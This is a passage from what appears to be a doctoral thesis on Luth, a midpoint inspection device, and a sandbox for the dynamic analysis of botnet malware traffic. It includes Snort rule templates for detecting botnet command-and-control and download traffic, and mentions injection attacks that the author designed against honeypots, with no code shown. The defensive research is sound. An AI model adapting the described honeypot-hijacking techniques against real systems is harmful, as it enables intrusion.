Botnet name Number of alerts
B2 239
B6 3
B7 723
B8 11
Figure 4.16: Characteristics of the different alerts with the inverted configuration of snort.
>tcpdump −nr s n o r t _ t e s t . pcap " s r c h o s t 1 93 . 1 98 . 4 9 . 1 37 and s r c p o r t 6668 " |
wc − l
r e a d i n g from f i l e s n o r t _ t e s t . pcap , l i n k−type EN10MB ( E t h e r n e t )
10858
To try to have a better understanding of these alarms, we ask snort to analyze the dumps using
an inverted configuration file. This inverted file is created using the pattern matching approach and
outputting rules in the format:
a l e r t t c p <daddr > <dpo r t > −> any any \
(msg : " Bo tne t <Bx>: <C&C |Dw>" ; c l a s s t y p e : t r o j a n−a c t i v i t y ; s i d : 0 ; r ev : 1 ; )
, instead of the previous one:
a l e r t t c p any any −> <daddr > <dpo r t > \
(msg : " Bo tne t <Bx>: <C&C |Dw>" ; c l a s s t y p e : t r o j a n−a c t i v i t y ; s i d : 0 ; r ev : 1 ; )
We obtain the results depicted in Figure 4.16 with the new configuration file. Indeed, it is quite difficult
for us to understand why for example B2 has 3 alerts in one direction, and 239 in the others. We
assume that this trend is due to the notion of TCP statefulness implemented in Snort21. Therefore, the
reader should understand that the number of alerts do not give us any useful information on the detection
pattern. We just can say that all the alerts output by our configuration of Snort correctly identify infected
hosts.
We introduced in this section the problem of the translation of Luth rule into other languages to
configure other midpoint inspection devices based on the configuration of a set of monolitich protocol
layerings. Even if it does not resolve the problem of the translation in general, we used an approach
based on tree pattern matching that provides a partial solution. Using this pattern matching paradigm,
we successfully translated the dynamically computed layerings identifying one cluster, into Snort and
21For the curious reader, we tried to disable this functionality with the directives "preprocessor stream4: noinspect", and
"preprocessor stream4_reassemble: noalerts" depicted in the manual of Snort in vain: the results are the same.
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Iptables configuration files. The evaluation of the Snort rule showed that, among others, we can generate
network virus detection systems by translating dynamically computed layerings.
4.4 Conclusion
This last chapter addressed the original platform we design to perform malware’s network communica-
tions dynamic analysis. The platform is based on a recursive approach that dynamically configures the
next iteration of the experiment. To do so, we add two main different functionalities to Luth:
• The ability to perform basic Network Address Translation (Section 4.1.1)
• The *Id MI, that implement the New_rule decisions (Section 4.1.3.3).
The main originality of this platform is implemented by means of the *Id MI. Indeed by giving the
possibility to configure as precisely as wanted the layering to use in the next iteration of the experiment,
the user can configure the risks he is willing to take during the observation of the malware.
Then the first results obtained by the analysis of 31 different malware caught by 3 malware down-
loading honeypots during one month are depicted. The first case study addressed malware clustering
(Section 4.3.2.1). By extracting the dynamically computed layerings during the different dynamic anal-
ysis of malware, we clustered the different malware into nine different groups we identified as botnets.
Then we showed how the clustering could be more accurate by developing more adapted MI. Neverthe-
less, this first step already reduced the task of manual malware analysis. Then, we provided a technique
to translate some Luth rules into other midpoint inspection device configuration language based on tree
pattern matching (Section 4.3.2.2). We showed how this translation could be used to generate network
virus detection systems.
We do think the prospectives of the use of this platform are quite vast. First, the platform should be
stressed on more modern botware. We purposely chose to analyze quite simple botware in the first use of
this sandbox for pragmatic reasons. Indeed, performing the reverse engineering of 0-day botware alone
would have taken too much time in this Ph.D. This situation is different when considering the joint work
of virus reverse engineering experts with a single Luth expert. Then, among the other applications of the
information collected by the dynamic analysis, we do think of two use-cases:
Real time DDoS attack detection: Let us considerate the case where during the dynamically analysis
process, one malware starts a syn-flood targeting one server. In this case, a MI similar to SPM can
identify this attack and send this information to the administrators of one network. That way this
administrator can more precisely monitor packets targeting the attacked server, to identify or block
the other nodes perpetrating the distributed attack.
Network Intrusion Detection System evaluation: Thanks to the L2N MI, we automatically create the
network traffic generated by the analyzed malware. This traffic can be used by the different NIDS
to evaluate their performance using, automatically generated, up-to-date and real attacks traces
containing an unprecedented quantity of information.
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This Ph.D addresses the problems rose by the automation of distributed malicious activities in the Inter-
net. We first showed that such activities are possible due to the fact that the problems related to the bugs
in software are underestimated. Then, considering that the solutions to develop correct or fault tolerant
system are not adopted by Internet end hosts and their software, this Ph.D proposes a new midpoint in-
spection device to monitor their behaviour. We first present the contribution done in this Ph.D, and then
enumerate some prospectives.
Contributions
The design of this midpoint inspection device is focused on two main principles, its expressiveness and
its correction. The expressiveness of this midpoint inspection device was obtained by the definition of a
new inspection algorithm. This algorithm is based on an inspection tree configured by means of a new
configuration language. This configuration language is based on a set of midpoint inspectors, MI, that
can be composed and parallelized. The first version of the inspection algorithm only addresses static
inspection trees. The analysis of the inspection algorithm permitted us to create the tools to:
• Verify the validity of a given inspection tree,
• Guessing the missing parts of an incomplete tree,
• Compute an optimized version of an inspection tree.
The second version of the algorithm permits to dynamically modify the initial static tree in function
of the parameters of some of its nodes. This second version has not been analyzed yet. Indeed, the
problematics involved in this situation have only been solved by the works published by Carette et.al
among others [89] while we were writing this Ph.D. We then implemented a prototype, Luth, used to
evaluate the presented ideas. Luth has been implemented in OCaml and is composed among others of:
• the interpreter of the language, and
• a first a set of MI, that can quite easily be augmented.
To benchmark the performances of Luth, we first evaluated it under two scenarios involving DNS
and FTP protocol filtering. Moreover, both scenarios involved 20 self encapsulated GRE tunnels to give
an overview of Luth’s language expressiveness. We saw that even if Luth slowed down DNS and FTP
communications, the filtering of communications was correct. Moreover, a policy more adapted to the
DNS case study enabled us to significantly reduce the slow-down induced by Luth.
Then, we have tested the functionalities of Luth in two case studies. The first case study addressed
the monitoring of malware downloading honeypots. First, to demonstrate the need for monitoring such
endhost software, we design two intrusions to show how two malware downloading honeypots can be
hijacked as x86 and SQL code injection attacks proxies. Then, by using the expressivity of Luth we
provide a way to implement quite an original policy. Indeed, usually the monitoring of network com-
munications aims at only accepting authorized and non malicious packets, or at least dropping all the
malicious packets. However in this case, so that the honeypots can download malware some malicious
packets must be accepted. However, other packets, like the generated download requests, can contain in-
trusion attacks as demonstrated by our x86 and SQL code injections. Therefore, these kind of malicious
packets must be dropped. We implement this compromise by implementing two different Tcp MI. These
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MI were computed using a slight modification of a formal method to synthesize a midpoint inspectors in
function of endhosts model. We performed an offline analysis using a specific rule that shows that Luth
succeeds in implementing this original policy.
The last study addressed malware’s network communications dynamic analysis. This analysis recur-
sively and dynamically disovers layerings by redirecting malware communications. A sandbox, which
makes quite an extensive use of Luth analysis, was implemented to perform this analysis. This recursive
analysis first tries to identify already non identifed communications by redirecting them to a honeypot
in the platform. Once identified, by means of the configuration language of Luth a user can configure
the rule to monitor the identified communications during the next iteration of the experimentation. We
stressed the platform on the 31 malware having different MD5sums collected during a 1 month period on
3 malware downloading honeypots in our laboratory. By analyzing the dynamically computed layerings
we first provided an algorithm to cluster malware. This algorithm grouped the 31 malware into 9 dif-
ferent groups. These groups correctly separated different active malware belonging to different botnets.
Finally, we provided a way to translate these dynamically computed Luth rules into Snort and Iptables
configurations by means of tree pattern matching. We used the generated configuration file of the Snort
IDS to create a network virus detection system. This system was evaluated by inserting arbitrarily cho-
sen five network dumps from our dynamic analysis into a dump representing normal traffic. During this
experiment the created network virus detection system correctly detected all the infected hosts, without
producing false positives.
Prospectives
The earliest work to do concerns the validation of the algorithm behind our midpoint inspection device.
First, we should validate the proofs presented in this Ph.D by means of a proof-assistant like Coq. Then,
we should analyse the second version of the inspect algorithm that permits to dynamically modify the
initial inspection tree. In a third step, we should address the parallelization of this inspection algorithm,
by proposing an algorithm and analyzing it. Then, we could implement another prototype and demon-
strate the correction of the overall implementation by means of a proof-assistant too. Then we could try
to identify how to optimize this prototype, and prove the modifications too.
Concerning the monitoring of malware downloading honeypots new MIs could be developed, in
particular to monitor the emulated vulnerabilities. Then, we could see how to compute TCP and MTCP
midpoint automatas with more than one retransmission.
Finally, the prospective of the platform to perform malware’s network communications dynamic
analysis are, as said earlier, quite vast. A team of malware reverse engineering experts together with a
Luth expert could try evaluate the output obtained by the clustering and signature generation algorithms
with the dynamic analysis of more evolved botware. The real time DDoS attack detection paradigm could
be evaluated providing an analyzed malware receives such orders. Finally, the use of automatically
generated malware traces could be used to help to automate the tuning and the evaluation of network
malicious activities detection algorithms.
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